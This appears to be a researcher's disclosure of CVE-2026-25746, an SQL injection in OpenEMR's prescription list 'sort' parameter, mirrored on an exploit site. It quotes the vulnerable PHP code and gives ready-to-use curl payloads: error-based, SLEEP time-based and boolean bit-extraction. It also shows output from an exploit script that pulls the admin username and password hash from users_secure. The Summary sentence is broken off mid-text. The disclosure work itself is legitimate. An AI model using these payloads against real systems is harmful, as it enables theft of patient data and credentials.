Share
## https://sploitus.com/exploit?id=DCF8E4D2-B0B0-58FA-BF6E-108EA9CBD142
# CVE-2026-25746 - SQL Injection Vulnerability in OpenEMR   Weakness CWE-89
>> Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
>> The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

### Summary

OpenEMR act($_GET);
```

[Controller act method](https://github.com/openemr/openemr/blob/2b46e594b9dd665fb7f16c913ca07f5c6d54412b/library/classes/Controller.class.php#L77):

```php
        $args = array_reverse(array_keys($qarray));
        $c_name = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
        $c_action = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
        $obj_name = "C_" . $c_name;
        $c_obj = new $obj_name();
...
        foreach ($args as $arg) {
            $arg = preg_replace("/[^A-Za-z0-9_]/", "", (string) $arg);
            if (empty($qarray[$arg]) && $qarray[$arg] != "0") {
                $args_array[] = null;
            } else {
                $args_array[] = $qarray[$arg];
            }
        }
...
        if (is_callable([&$c_obj, $c_action . "_action"]) && method_exists($c_obj, $c_action . "_action")) {
            $output .=  $c_obj->{$c_action . "_action"}(...$args_array);
        }
```

[C_Prescription list_action method](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/controllers/C_Prescription.class.php#L180)

```php
    function list_action($id, $sort = "", $printPrescriptionId = null)
    {
        if (empty($id)) {
            $this->function_argument_error();
            exit;
        }

        if (!empty($sort)) {
            $this->assign("prescriptions", Prescription::prescriptions_factory($id, $sort));
        }
```

[vulnerability in Prescription prescriptions_factory method](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/library/classes/Prescription.class.php#L1148)

```php
    static function prescriptions_factory(
        $patient_id,
        $order_by = "active DESC, date_modified DESC, date_added DESC"
    ) {

        $prescriptions = [];
        $p = new Prescription();
        $sql = "SELECT id FROM " . escape_table_name($p->_table) . " WHERE patient_id = ? " .
                "ORDER BY " . add_escape_custom($order_by);
        $results = sqlQ($sql, [$patient_id]);
        while ($row = sqlFetchArray($results)) {
            $prescriptions[] = new Prescription($row['id']);
        }

        return $prescriptions;
    }
```

#### Permissions

```php
        if ((array_key_first($qarray) ?? '') == 'prescription') {                                                                                              
            if (!AclMain::aclCheckCore('patients', 'rx')) {                                                                                                    
                echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Prescriptions")]);    
                exit;                                                                                                                                          
            }                                                                                                                                                  
        }
```

ACL `rx` on `patients` are required, these are standard permissions, not elevated privileges.

#### SQL Injection

```sql
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY 
```

### PoC

```
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort="'                  
SQL Statement failed on preparation: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"'
Query ErrorERROR: query failed: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"' at line 1/var/www/localhost/htdocs/openemr/library/classes/Prescription.class.php at 1149:sqlQ/var/www/localhost/htdocs/openemr/controllers/C_Prescription.class.php at 180:prescriptions_factory(1,")/var/www/localhost/htdocs/openemr/library/classes/Controller.class.php at 157:list_action(1,")/var/www/localhost/htdocs/openemr/controller.php at 6:act(Array)

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%201)'

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20SLEEP(5))'

┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=5d884df35b6ff2fddf12d83da5095ae8" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20((ASCII(SUBSTRING(username,1,1))%20DIV%20128)MOD%202)%20FROM%20users%20LIMIT%201)'
```

There are multiple techniques to exploit it; one of them is a boolean-based attack, which works using the last payload: 

```sql
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY (SELECT ((ASCII(SUBSTRING(username,1,1)) DIV 64)MOD 2) FROM users LIMIT 1)
```

#### Exploit

```
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py 172.18.0.3 b2b9f1cc76b47f8f13cc1f707baa0a64 users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[+] Using patient_id=1
[+] Reference checksum (1): 604da4e5e2149a31fc68530bad701666942f600f
[+] Reference checksum (0): 66cfdfc2ad847a919672c75651b43749e1a5f38c
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0

┌──(kali㉿kali)-[~]
└─$ 
```

### Impact

 - Unauthorized access to database information
 - Potential data breach of sensitive medical information
 - Server-side code execution (in some cases)
 - Database compromise

### Credits

 - Researcher: Christophe SUBLET
 - Organization: Esisar
 - Project: CyberSkills, Orion

## License

This project is licensed under the MIT License – see the LICENSE file for details.  
Please cite our paper: https://github.com/ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4